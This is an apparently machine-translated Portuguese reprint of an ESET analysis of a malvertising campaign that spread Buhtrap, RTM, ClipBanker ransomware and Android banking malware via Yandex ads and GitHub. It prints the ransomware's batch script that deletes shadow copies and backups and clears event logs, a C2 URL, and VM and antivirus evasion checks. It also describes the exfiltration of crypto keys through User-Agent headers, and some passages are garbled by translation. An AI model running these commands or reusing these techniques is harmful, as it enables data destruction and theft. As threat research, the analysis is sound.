Para atacar os contadores em um ataque cibernético, você pode usar os documentos de trabalho que eles pesquisam online. Isso é aproximadamente o que um grupo cibernético tem feito nos últimos meses, distribuindo backdoors conhecidos. и , bem como criptografadores e software para roubo de criptomoedas. A maioria dos alvos está localizada na Rússia. O ataque foi realizado através da colocação de publicidade maliciosa no Yandex.Direct. As possíveis vítimas foram direcionadas para um site onde foram solicitadas a baixar um arquivo malicioso disfarçado de modelo de documento. Yandex removeu a publicidade maliciosa após nosso aviso.
O código-fonte do Buhtrap vazou online no passado para que qualquer pessoa possa usá-lo. Não temos informações sobre a disponibilidade do código RTM.
Neste post contaremos como os invasores distribuíram malware usando Yandex.Direct e o hospedaram no GitHub. A postagem terminará com uma análise técnica do malware.
Buhtrap e RTM estão de volta aos negócios
Mecanismo de propagação e vítimas
As várias cargas entregues às vítimas compartilham um mecanismo de propagação comum. Todos os arquivos maliciosos criados pelos invasores foram colocados em dois repositórios GitHub diferentes.
Normalmente, o repositório continha um arquivo malicioso para download, que era alterado com frequência. Como o GitHub permite visualizar o histórico de alterações em um repositório, podemos ver quais malwares foram distribuídos durante um determinado período. Para convencer a vítima a baixar o arquivo malicioso, foi utilizado o site blanki-shabloni24[.]ru, mostrado na figura acima.
O design do site e todos os nomes dos arquivos maliciosos seguem um único conceito - formulários, templates, contratos, amostras, etc. Considerando que os softwares Buhtrap e RTM já foram utilizados em ataques a contadores no passado, presumimos que o a estratégia na nova campanha é a mesma. A única questão é como a vítima chegou ao site dos invasores.
Infecção
Pelo menos várias vítimas potenciais que acabaram neste site foram atraídas por publicidade maliciosa. Abaixo está um exemplo de URL:
https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456
Como você pode ver no link, o banner foi postado no fórum de contabilidade legítimo bb.f2[.]kz. É importante ressaltar que os banners apareceram em sites diferentes, todos tinham o mesmo id de campanha (blanki_rsya) e a maioria estava relacionada a serviços contábeis ou de assistência jurídica. A URL mostra que a potencial vítima utilizou a solicitação “baixar formulário de fatura”, o que apoia nossa hipótese de ataques direcionados. Abaixo estão os sites onde os banners apareceram e as consultas de pesquisa correspondentes.
- baixar formulário de fatura – bb.f2[.]kz
- exemplo de contrato - Ipopen[.]ru
- amostra de reclamação de aplicativo - 77metrov[.]ru
- formulário de acordo - blank-dogovor-kupli-prodazhi[.]ru
- exemplo de petição judicial - zen.yandex[.]ru
- exemplo de reclamação - yurday[.]ru
- exemplos de formulários de contrato – Regforum[.]ru
- formulário de contrato – assistente[.]ru
- exemplo de contrato de apartamento – napravah[.]com
- amostras de contratos jurídicos - avito[.]ru
O site blanki-shabloni24[.]ru pode ter sido configurado para passar por uma avaliação visual simples. Normalmente, um anúncio que aponta para um site de aparência profissional com um link para o GitHub não parece algo obviamente ruim. Além disso, os invasores enviaram arquivos maliciosos para o repositório apenas por um período limitado, provavelmente durante a campanha. Na maioria das vezes, o repositório GitHub continha um arquivo zip vazio ou um arquivo EXE limpo. Assim, os invasores poderiam distribuir publicidade por meio do Yandex.Direct em sites que provavelmente foram visitados por contadores que vieram em resposta a consultas de pesquisa específicas.
A seguir, vamos examinar as diversas cargas distribuídas dessa maneira.
Análise de carga útil
Cronologia de distribuição
A campanha maliciosa começou no final de outubro de 2018 e está ativa no momento da redação deste artigo. Como todo o repositório estava disponível publicamente no GitHub, compilamos um cronograma preciso da distribuição de seis famílias diferentes de malware (veja a figura abaixo). Adicionamos uma linha que mostra quando o link do banner foi descoberto, conforme medido pela telemetria da ESET, para comparação com o histórico do git. Como você pode ver, isso se correlaciona bem com a disponibilidade da carga útil no GitHub. A discrepância no final de fevereiro pode ser explicada pelo fato de não termos parte do histórico de alterações porque o repositório foi removido do GitHub antes que pudéssemos obtê-lo por completo.
Figura 1. Cronologia da distribuição de malware.
Certificados de assinatura de código
A campanha usou vários certificados. Alguns foram assinados por mais de uma família de malware, o que indica ainda que diferentes amostras pertenciam à mesma campanha. Apesar da disponibilidade da chave privada, os operadores não assinaram sistematicamente os binários e não utilizaram a chave para todas as amostras. No final de fevereiro de 2019, os invasores começaram a criar assinaturas inválidas usando um certificado de propriedade do Google para o qual não possuíam a chave privada.
Todos os certificados envolvidos na campanha e as famílias de malware que eles assinam estão listados na tabela abaixo.
Também usamos esses certificados de assinatura de código para estabelecer links com outras famílias de malware. Para a maioria dos certificados, não encontramos amostras que não tenham sido distribuídas por meio de um repositório GitHub. No entanto, o certificado TOV “MARIYA” foi usado para assinar malware pertencente à botnet , adware e mineradores. É improvável que este malware esteja relacionado com esta campanha. Muito provavelmente, o certificado foi adquirido na darknet.
Win32/Filecoder.Buhtrap
O primeiro componente que chamou nossa atenção foi o recém-descoberto Win32/Filecoder.Buhtrap. Este é um arquivo binário Delphi que às vezes é empacotado. Foi distribuído principalmente entre fevereiro e março de 2019. Ele se comporta como convém a um programa ransomware - pesquisa unidades locais e pastas de rede e criptografa os arquivos detectados. Ele não precisa de uma conexão com a Internet para ser comprometido porque não entra em contato com o servidor para enviar chaves de criptografia. Em vez disso, adiciona um “token” ao final da mensagem de resgate e sugere o uso de e-mail ou Bitmessage para entrar em contato com os operadores.
Para criptografar o máximo possível de recursos confidenciais, o Filecoder.Buhtrap executa um thread projetado para desligar softwares importantes que podem ter manipuladores de arquivos abertos contendo informações valiosas que podem interferir na criptografia. Os processos alvo são principalmente sistemas de gerenciamento de banco de dados (SGBD). Além disso, Filecoder.Buhtrap exclui arquivos de log e backups para dificultar a recuperação de dados. Para fazer isso, execute o script em lote abaixo.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled
Filecoder.Buhtrap usa um serviço IP Logger online legítimo, projetado para coletar informações sobre os visitantes do site. O objetivo é rastrear vítimas do ransomware, que é responsabilidade da linha de comando:
mshta.exe "javascript:document.write('');"
Os arquivos para criptografia serão selecionados se não corresponderem às três listas de exclusão. Em primeiro lugar, os arquivos com as seguintes extensões não são criptografados: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys e .bastão. Em segundo lugar, todos os arquivos cujo caminho completo contém sequências de diretórios da lista abaixo são excluídos.
.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel
Terceiro, certos nomes de ficheiros também são excluídos da encriptação, entre eles o nome do ficheiro da mensagem de resgate. A lista é apresentada abaixo. Obviamente, todas essas exceções têm como objetivo manter a máquina funcionando, mas com condições técnicas mínimas.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe
Esquema de criptografia de arquivos
Uma vez executado, o malware gera um par de chaves RSA de 512 bits. O expoente privado (d) e o módulo (n) são então criptografados com uma chave pública codificada de 2048 bits (expoente público e módulo), compactada em zlib e codificada em base64. O código responsável por isso é mostrado na Figura 2.
Figura 2. Resultado da descompilação Hex-Rays do processo de geração de par de chaves RSA de 512 bits.
Abaixo está um exemplo de texto simples com uma chave privada gerada, que é um token anexado à mensagem de resgate.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239
A chave pública dos invasores é fornecida abaixo.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD
Os arquivos são criptografados usando AES-128-CBC com uma chave de 256 bits. Para cada arquivo criptografado, são gerados uma nova chave e um novo vetor de inicialização. As informações principais são adicionadas ao final do arquivo criptografado. Consideremos o formato do arquivo criptografado.
Os arquivos criptografados têm o seguinte cabeçalho:
Os dados do arquivo de origem com a adição do valor mágico VEGA são criptografados nos primeiros 0x5000 bytes. Todas as informações de descriptografia são anexadas a um arquivo com a seguinte estrutura:
- O marcador de tamanho do arquivo contém uma marca que indica se o tamanho do arquivo é maior que 0x5000 bytes
— Blob de chave AES = ZlibCompress(RSAEncrypt(chave AES + IV, chave pública do par de chaves RSA gerado))
- Blob de chave RSA = ZlibCompress(RSAEncrypt(chave privada RSA gerada, chave pública RSA codificada))
Win32/ClipBanker
Win32/ClipBanker é um componente que foi distribuído de forma intermitente do final de outubro ao início de dezembro de 2018. Sua função é monitorar o conteúdo da área de transferência, busca endereços de carteiras de criptomoedas. Tendo determinado o endereço da carteira alvo, o ClipBanker o substitui por um endereço que se acredita pertencer às operadoras. As amostras que examinamos não foram encaixotadas nem ofuscadas. O único mecanismo usado para mascarar o comportamento é a criptografia de string. Os endereços da carteira da operadora são criptografados usando RC4. As criptomoedas alvo são Bitcoin, Bitcoin cash, Dogecoin, Ethereum e Ripple.
Durante o período em que o malware se espalhou pelas carteiras Bitcoin dos invasores, uma pequena quantia foi enviada ao VTS, o que levanta dúvidas sobre o sucesso da campanha. Além disso, não há evidências que sugiram que essas transações estivessem relacionadas ao ClipBanker.
Win32/RTM
O componente Win32/RTM foi distribuído por vários dias no início de março de 2019. RTM é um Trojan Banker escrito em Delphi, voltado para sistemas bancários remotos. Em 2017, os pesquisadores da ESET publicaram deste programa, a descrição ainda é relevante. Em janeiro de 2019, a Palo Alto Networks também lançou .
Carregador Buhtrap
Por algum tempo, um downloader estava disponível no GitHub que não era semelhante às ferramentas anteriores do Buhtrap. Ele se volta para https://94.100.18[.]67/RSS.php?<some_id> para obter o próximo estágio e carregá-lo diretamente na memória. Podemos distinguir dois comportamentos do código do segundo estágio. Na primeira URL, RSS.php passou diretamente pelo backdoor do Buhtrap - esse backdoor é muito semelhante ao disponível após o vazamento do código-fonte.
Curiosamente, vemos várias campanhas com o backdoor Buhtrap, e elas são supostamente executadas por diferentes operadores. Nesse caso, a principal diferença é que o backdoor é carregado diretamente na memória e não utiliza o esquema usual com o processo de implantação de DLL de que falamos . Além disso, as operadoras alteraram a chave RC4 usada para criptografar o tráfego de rede para o servidor C&C. Na maioria das campanhas que vimos, as operadoras não se preocuparam em alterar esta chave.
O segundo comportamento, mais complexo, foi que a URL RSS.php foi passada para outro carregador. Implementou alguma ofuscação, como a reconstrução da tabela de importação dinâmica. O objetivo do bootloader é entrar em contato com o servidor C&C [.]com/api/F27F84EDA4D13B15/2, envie os logs e aguarde uma resposta. Ele processa a resposta como um blob, carrega-a na memória e executa-a. A carga útil que vimos ao executar este carregador era o mesmo backdoor do Buhtrap, mas pode haver outros componentes.
Android/Spy.Banker
Curiosamente, um componente para Android também foi encontrado no repositório GitHub. Ele esteve na filial principal por apenas um dia - 1º de novembro de 2018. Além de ser postado no GitHub, a telemetria da ESET não encontra nenhuma evidência de distribuição desse malware.
O componente foi hospedado como um pacote de aplicativos Android (APK). Está fortemente ofuscado. O comportamento malicioso está oculto em um JAR criptografado localizado no APK. Ele é criptografado com RC4 usando esta chave:
key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]
A mesma chave e algoritmo são usados para criptografar strings. JAR está localizado em APK_ROOT + image/files. Os primeiros 4 bytes do arquivo contêm o comprimento do JAR criptografado, que começa imediatamente após o campo de comprimento.
Depois de descriptografar o arquivo, descobrimos que era Anúbis - anteriormente banqueiro para Android. O malware possui os seguintes recursos:
- gravando de um microfone
- tirando capturas de tela
- obtendo coordenadas GPS
- registrador de teclas
- criptografia de dados do dispositivo e demanda de resgate
- spam
Curiosamente, o banqueiro usou o Twitter como canal de comunicação de backup para obter outro servidor C&C. A amostra que analisamos utilizava a conta @JonesTrader, mas no momento da análise ela já estava bloqueada.
O banqueiro contém uma lista de aplicativos alvo no dispositivo Android. É mais longa que a lista obtida no estudo da Sophos. A lista inclui muitos aplicativos bancários, programas de compras online, como Amazon e eBay, e serviços de criptomoeda.
MSIL/ClipBanker.IH
O último componente distribuído como parte desta campanha foi o executável .NET Windows, que apareceu em março de 2019. A maioria das versões estudadas foi empacotada com ConfuserEx v1.0.0. Assim como o ClipBanker, este componente usa a área de transferência. Seu objetivo é uma ampla gama de criptomoedas, bem como ofertas no Steam. Além disso, ele usa o serviço IP Logger para roubar a chave WIF privada do Bitcoin.
Mecanismos de proteção
Além dos benefícios que o ConfuserEx oferece na prevenção de depuração, dumping e adulteração, o componente inclui a capacidade de detectar produtos antivírus e máquinas virtuais.
Para verificar se é executado em uma máquina virtual, o malware usa a linha de comando WMI integrada do Windows (WMIC) para solicitar informações do BIOS, a saber:
wmic bios
Em seguida, o programa analisa a saída do comando e procura palavras-chave: VBOX, VirtualBox, XEN, qemu, bochs, VM.
Para detectar produtos antivírus, o malware envia uma solicitação WMI (Instrumentação de Gerenciamento do Windows) para a Central de Segurança do Windows usando ManagementObjectSearcher API conforme mostrado abaixo. Após a decodificação de base64, a chamada fica assim:
ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')
Figura 3. Processo de identificação de produtos antivírus.
Além disso, o malware verifica se , uma ferramenta para proteção contra ataques à área de transferência e, se estiver em execução, suspende todos os threads desse processo, desativando assim a proteção.
Persistência
A versão do malware que estudamos se copia %APPDATA%googleupdater.exe e define o atributo “oculto” para o diretório do Google. Então ela muda o valor SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell no registro do Windows e adiciona o caminho updater.exe. Dessa forma, o malware será executado sempre que o usuário fizer login.
Comportamento malicioso
Assim como o ClipBanker, o malware monitora o conteúdo da área de transferência e procura endereços de carteiras de criptomoedas e, quando encontrado, substitui-os por um dos endereços da operadora. Abaixo está uma lista de endereços de destino com base no que é encontrado no código.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL
Para cada tipo de endereço existe uma expressão regular correspondente. O valor STEAM_URL é usado para atacar o sistema Steam, como pode ser visto na expressão regular usada para definir no buffer:
b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b
Canal de exfiltração
Além de substituir endereços no buffer, o malware tem como alvo as chaves WIF privadas das carteiras Bitcoin, Bitcoin Core e Electrum Bitcoin. O programa usa plogger.org como canal de exfiltração para obter a chave privada WIF. Para fazer isso, os operadores adicionam dados de chave privada ao cabeçalho HTTP do User-Agent, conforme mostrado abaixo.
Figura 4. Console do IP Logger com dados de saída.
Os operadores não usaram o iplogger.org para exfiltrar carteiras. Provavelmente recorreram a um método diferente devido ao limite de 255 caracteres no campo User-Agentexibido na interface da web do IP Logger. Nas amostras que estudamos, o outro servidor de saída foi armazenado na variável de ambiente DiscordWebHook. Surpreendentemente, esta variável de ambiente não está atribuída em nenhum lugar do código. Isso sugere que o malware ainda está em desenvolvimento e a variável está atribuída à máquina de teste da operadora.
Há outro sinal de que o programa está em desenvolvimento. O arquivo binário inclui dois URLs iplogger.org e ambos são consultados quando os dados são exfiltrados. Numa solicitação para uma dessas URLs, o valor no campo Referer é precedido de “DEV /”. Também encontramos uma versão que não foi empacotada usando ConfuserEx, o destinatário deste URL é denominado DevFeedbackUrl. Com base no nome da variável de ambiente, acreditamos que os operadores estão planejando usar o serviço legítimo Discord e seu sistema de interceptação web para roubar carteiras de criptomoedas.
Conclusão
Esta campanha é um exemplo da utilização de serviços de publicidade legítimos em ataques cibernéticos. O esquema tem como alvo organizações russas, mas não ficaríamos surpresos em ver tal ataque utilizando serviços não russos. Para evitar comprometimentos, os usuários devem confiar na reputação da fonte do software baixado.
Uma lista completa de indicadores de comprometimento e atributos MITRE ATT&CK está disponível em .
Fonte: habr.com